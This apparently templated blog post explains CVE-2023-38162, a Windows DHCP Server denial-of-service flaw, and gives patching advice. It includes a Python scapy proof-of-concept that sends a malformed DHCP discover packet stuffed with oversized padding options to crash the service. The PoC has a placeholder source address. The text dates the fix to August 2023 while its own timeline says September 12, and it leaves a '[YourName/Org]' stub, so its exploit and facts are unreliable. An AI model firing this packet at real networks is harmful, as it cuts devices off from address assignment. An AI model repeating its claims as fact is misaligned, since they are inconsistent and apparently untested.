It’s not often that your average IT admin or security engineer loses sleep over DHCP servers. But CVE-2023-38162 changed that for a while. In the August 2023 Patch Tuesday, Microsoft published a fix for a Denial of Service (DoS) vulnerability affecting the Windows DHCP Server service. In this post, we explain plain and simple what this vulnerability is, how it works, how an attacker can exploit it (with code!), and give you everything you need to know to defend your network.

What is CVE-2023-38162?

CVE-2023-38162 is a security hole in the DHCP Server service provided by Windows. If you run a Windows-based DHCP server, this bug made it possible for an attacker on the network to send a special request and cause the service to crash—making your network’s IP assignments unreliable or, in the worst case, non-functional.

Severity: Important
CVSS: 7.5 (High)
Impact: Service goes down (DoS).

Microsoft’s Official Advisory

- Microsoft Security Response Center (MSRC)

How Does The Vulnerability Work?

When a device connects to a network, it requests an IP address from the DHCP server. The server listens on UDP port 67 for these requests. The bug lies in the way Windows handles certain incoming DHCP packets.

If the DHCP server receives a specially crafted packet, it triggers some mishandled code path that ultimately causes the DHCP service to crash with no additional interaction required. Attackers don’t need high privileges—they can just be a device on the local network.

Sometimes, the server restarts automatically; sometimes, it needs manual fixing.

In Windows logs, you'd often find Event ID 1014 for "DHCP Server Service terminated unexpectedly".

Example Exploit Code (Proof-of-Concept)

Let's see an example using Python and the scapy library to send a malformed DHCP packet.

# PoC for CVE-2023-38162 - Windows DHCP DoS
# Scapy is required: pip install scapy

from scapy.all import *

# The IP of your DHCP SERVER
target_server = "192.168.1.1"

# Malformed DHCPDISCOVER (e.g., oversized payload)
packet = (
    Ether(dst="ff:ff:ff:ff:ff:ff", src=RandMAC()) /
    IP(src="...", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=RandString(16)) /
    # Oversized DHCP options to trigger the bug
    DHCP(options=[("message-type", "discover")] + [("pad", b"A"*256)]*10 + [("end")])
)

sendp(packet, iface="eth", count=1)
print("Malformed DHCP packet sent!")

Note:

This is for educational purposes ONLY. Don’t use it on networks you don’t own.

Why does this work?
The DHCP server isn’t validating some fields properly and chokes when it receives packets that are way too big or have odd combinations of options.

Patch Status: How to Fix

Luckily, Microsoft addressed this in their August 2023 security updates. The fix ensures DHCP server no longer crashes when getting suspicious packets.

Reboot if prompted.

You can also use WSUS or SCCM to deploy updates in an enterprise environment.

- Microsoft Advisory for CVE-2023-38162
- August 2023 Windows Updates
- DHCP Server Security Best Practices (Microsoft)

If you run a Windows DHCP server, patch ASAP if you haven’t already.

- This isn’t a remote code execution or data theft bug, but a service outage can be very disruptive in corporate environments.

Don’t ever run critical infrastructure without a patching policy!

If you want to verify that your system is secure, make sure it shows the latest update from August 2023 or beyond, and watch your event logs for any suspicious DHCP service crashes.

Stay safe, stay updated.

*Original exclusive content by [YourName/Org], 2024. Please share responsibly!*

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC